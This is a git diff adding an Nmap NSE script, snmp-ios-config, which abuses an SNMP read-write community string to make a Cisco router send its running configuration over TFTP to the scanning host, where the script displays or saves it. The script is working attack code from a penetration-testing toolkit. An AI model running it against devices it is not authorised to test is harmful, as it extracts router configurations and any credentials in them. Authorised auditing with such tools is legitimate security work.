diff options
Diffstat (limited to 'scripts/snmp-ios-config.nse')
-rw-r--r-- | scripts/snmp-ios-config.nse | 178 |
1 files changed, 178 insertions, 0 deletions
diff --git a/scripts/snmp-ios-config.nse b/scripts/snmp-ios-config.nse new file mode 100644 index 0000000..1965243 --- /dev/null +++ b/scripts/snmp-ios-config.nse @@ -0,0 +1,178 @@ +local io = require "io" +local nmap = require "nmap" +local shortport = require "shortport" +local snmp = require "snmp" +local stdnse = require "stdnse" +local stringaux = require "stringaux" +local table = require "table" +local tftp = require "tftp" + +description = [[ +Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them. +]] + +--- +-- @usage +-- nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target> +-- +-- @output +-- | snmp-ios-config: +-- | ! +-- | version 12.3 +-- | service timestamps debug datetime msec +-- | service timestamps log datetime msec +-- | no service password-encryption +-- | ! +-- | hostname Router +-- | ! +-- | boot-start-marker +-- | boot-end-marker +-- <snip> +-- +-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved + +-- +-- Version 0.2 +-- Created 01/03/2011 - v0.1 - created by Vikas Singhal +-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <patrik@cqure.net> + +author = {"Vikas Singhal", "Patrik Karlsson"} + +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" + +categories = {"intrusive"} + +dependencies = {"snmp-brute"} + + +portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"}) + +local function fail (err) return stdnse.format_output(false, err) end +--- +-- Sends SNMP packets to host and reads responses +action = function(host, port) + + local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot") + + if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then + return fail("tftproot needs to end with slash") + end + + local snmpHelper = snmp.Helper:new(host, port) + snmpHelper:connect() + + local status, tftpserver, _, _, _ = snmpHelper.socket:get_info() + if( not(status) ) then + return fail("Failed to determine local ip") + end + + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] ) + + local request = snmpHelper:set({reqiId=28428},".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1) + + -- Fail silently if the first request doesn't get a proper response + if ( not(request) ) then return end + + -- since we got something back, the port is definitely open + nmap.set_port_state(host, port, "open") + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] ) + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4) + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] ) + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1) + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server ) + + local tbl = {} + tbl._snmp = '40' + for octet in tftpserver:gmatch("%d+") do + table.insert(tbl, octet) + end + + request = snmpHelper:set({reqId=28428}, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } ) + -- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver) + + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 ) + -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1) + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server ) + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver) + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config) + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config") + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1]) + -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1) + + -- wait for sometime and print the status of filetransfer + tftp.start() + local status, infile = tftp.waitFile(host.ip .. "-config", 10) + + -- build a SNMP v1 packet + -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed + + local response + status, response = snmpHelper:get({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999") + + if (not status) or (response == "TIMEOUT") then + return fail("Failed to receive cisco configuration file") + end + + local result = response and response[1] and response[1][1] + if not result then + return + end + + if result == 3 then + result = ( infile and infile:getContent() ) + + if ( tftproot ) then + local fname = tftproot .. stringaux.filename_escape(host.ip .. "-config") + local file, err = io.open(fname, "w") + if ( file ) then + file:write(result) + file:close() + else + return fail(file) + end + result = ("\n Configuration saved to (%s)"):format(fname) + end + else + result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)" + end + + ------------------------------------------------- + -- build a SNMP v1 packet + -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6]) + + request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6) + + + return result +end + |